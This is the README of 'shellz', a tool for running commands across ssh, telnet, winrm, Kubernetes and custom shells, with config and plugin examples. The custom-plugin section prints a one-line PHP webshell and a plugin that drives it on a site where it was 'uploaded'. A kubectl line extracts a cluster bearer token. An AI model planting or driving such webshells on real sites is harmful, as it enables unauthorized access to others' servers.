shellz is a small utility to manage your ssh, telnet, kubernetes, winrm, web or any custom shell in a single place.
This means that with a single tool with a simple command line, you will be able to execute shell commands on any of those systems transparently, so that you can, for instance, check the uptime of all your systems, whether it is a Windows machine, a Kubernetes pod, an SSH server or a Raspbery Pi like shown in this demo.
A precompiled version is available for each release, alternatively you can use the latest version of the source code from this repository in order to build your own binary.
Make sure you have a correctly configured Go >= 1.8 environment, that $GOPATH/bin is in $PATH and then:
$ go get -u github.com/evilsocket/shellz/cmd/shellz
This command will download shellz, install its dependencies, compile it and move the shellz executable to $GOPATH/bin.
The tool will use the ~/.shellz folder to load your identities and shells json files, running the command shellz the first time will create the folder and the idents and shells subfolders for you. Once both ~/.shellz/idents and ~/.shellz/shells folders have been created, you can start by creating your first identity json file, for instance let's create ~/.shellz/idents/default.json with the following contents:
{
"name": "default",
"username": "evilsocket",
"key": "~/.ssh/id_rsa"
}As you can see my default identity is using my SSH private key to log in the evilsocket user, alternatively you can specify a "password" field instead of a "key". Alternatively, you can set the "key" field to "@agent", in which case shellz will ask the ssh-agent for authentication details to the remote host:
{
"name": "default",
"username": "evilsocket",
"key": "@agent"
}Now let's create our first shell json file ( ~/.shellz/shells/media.json ) that will use the default identity we just created to connect to our home media server (called media.server in our example):
{
"name": "media-server",
"host": "media.server",
"groups": ["servers", "media", "whatever"],
"port": 22,
"identity": "default"
}cat ~/.shellz/shells/tnas.json{
"name": "tnas",
"host": "tnas.local",
"port": 23,
"identity": "admin-tnas",
"type": "telnet"
}cat ~/.shellz/shells/win.json{
"name": "win10",
"host": "win10.local",
"port": 5986,
"identity": "admin-win10",
"type": "winrm",
"https": true,
"insecure": false
}cat ~/.shellz/shells/kube-pod.json{
"name": "kube-microbot",
"host": "https://127.0.0.1:16443",
"type": "kube",
"namespace": "default",
"pod": "microbot-5f5499d479-qp9z7",
"groups": [
"kube",
"cluster"
],
"identity": "microk8s",
}Where the host field must point to the Kubernetes control plane URL obtained with:
kubectl cluster-info | grep control
cat ~/.shellz/idents/microk8s.json{
"name": "microk8s",
"key": "~/.microk8s-bearer-token"
}Where the ~/.microk8s-bearer-token file must contain the bearer token obtained with:
token=$(kubectl -n kube-system get secret | grep default-token | cut -d " " -f1)
kubectl -n kube-system describe secret $token | grep "token:"
If you wish to use a SOCKS5 proxy (supported for the ssh session and custom shells), for instance to reach a shell on a TOR hidden service, you can use the "proxy" configuration object:
{
"name": "my-tor-shell",
"host": "whateverwhateveroihfdwoeghfd.onion",
"port": 22,
"identity": "default",
"proxy": {
"address": "127.0.0.1",
"port": 9050,
"username": "this is an optional field",
"password": "this is an optional field"
}
}Shells can (optionally) be grouped (with a default all group containing all of them) and, by default, they are considered ssh, in which case you can also specify the ciphers your server supports:
{
"name": "old-server",
"host": "old.server",
"groups": ["servers", "legacy"],
"port": 22,
"identity": "default",
"ciphers": ["aes128-cbc", "3des-cbc"]
}shellz can be used for starting reverse SSH tunnels, for instance, let's create the ~/.shellz/shells/mytunnel.json file:
{
"name": "my.tunnel",
"host": "example.com",
"tunnel": {
"local": {
"address": "127.0.0.1",
"port": 8443
},
"remote": {
"address": "192.168.1.1",
"port": 443
}
}
}By running the following command:
shellz -tunnel -on my.tunnel
The remote endpoint https://192.168.1.1 will be tunneled by example.com and available on your computer at https://localhost:8443.
Instead of one of the supported types, you can specify a custom name, in which case shellz will use an external plugin.
Let's start by creating a new shell json file ~/.shellz/shells/custom.json with the following contents:
{
"name": "custom",
"host": "http://www.imvulnerable.gov/uploads/sh.php",
"identity": "empty",
"port": 80,
"type": "mycustomshell"
}As you probably noticed, the host field is the full URL of a very simple PHP webshell uploaded on some website:
<?php system($_REQUEST["cmd"]); die; ?>Also, the type field is set to mycustomshell, in this case shellz will try to load the file ~/.shellz/plugins/mycustomshell.js and use it to create a session and execute a command.
A shellz plugin must export the Create, Exec and Close functions, this is how mycustomshell.js looks like:
var headers = {
'User-Agent': 'imma-shellz-plugin'
};
/*
* The Create callback is called whenever a new command has been queued
* for execution and the session should be initiated, in this case we
* simply return the main shell object, but it might be used to connect
* to the endpoint and store the socket on a more complex Object.
*/
function Create(sh) {
log.Debug("Create(" + sh + ")");
return sh;
}
/*
* Exec is called for each command, the first argument is the object
* returned from the Create callback, while the second is a string with the
* command itself.
*/
function Exec(sh, cmd) {
log.Debug("running " + cmd + " on " + sh.Host);
/*
* OR
*
* var resp = http.Post(sh.Host, headers, {"cmd":cmd});
*/
var resp = http.Get(sh.Host + "?cmd=" + cmd, headers)
if( resp.Error ) {
log.Error("error while running " + cmd + ": " + resp.Error);
return resp.Error;
}
return resp.Raw;
}
/*
* Used to finalize the state of the object (close sockets, etc).
*/
function Close(sh) {
log.Debug("Close(" + sh + ")");
}To use a SOCKS5 proxy with the http object:
var proxied = http.WithProxy("127.0.0.1", 9050, "optional username", "optional password");
proxied.Get(...);Other than the log interface and the http client, also a tcp client is available with the following API:
// this will create the client
var c = tcp.Connect("1.2.3.4:80");
if( c == null ) {
log.Error("could not connect!");
return;
}
// send some bytes
c.Write("somebyteshere");
// read some bytes until a newline
var ret = c.ReadUntil("\n");
if( ret.Error != null ) {
log.Error("error while reading: " + err);
} else {
// print results
log.Info("res=" + ret.Raw);
}
// always close the socket
c.Close();List available identities, plugins and shells:
shellz -list
List all available identities and shells of the group web:
shellz -list -on web
Enable the shells named machineA and machineB:
shellz -enable machineA, machineB
Enable shells of the group web:
shellz -enable web
Disable the shell named machineA (commands won't be executed on it):
shellz -disable machineA
Test all shells and disable the not responding ones:
shellz -test
Test two shells and disable them if they don't respond within 1 second:
shellz -test -on "machineA, machineB" -connection-timeout 1s
Run the command id on each shell ( with -to default to all):
shellz -run id
Run the command 'id' on each shell and print some statistics once finished:
shellz -run id -stats
Run the command id on a single shell named machineA:
shellz -run id -on machineA
Run the command id on machineA and machineB:
shellz -run id -on 'machineA, machineB'
Run the command id on shells of group web:
shellz -run id -on web
Run the command uptime on every shell and append all outputs to the all.txt file:
shellz -run uptime -to all.txt
Run the command uptime on every shell and save each outputs to a different file using per-shell data (every field referenced between {{ and }} will be replaced by the json field of the shell object):
shellz -run uptime -to "{{.Identity.Username}}_{{.Name}}.txt"
Start a ssh reverse tunnel:
shellz -tunnel -on some-tunnel
For a list of all available flags and some usage examples just type shellz without arguments.
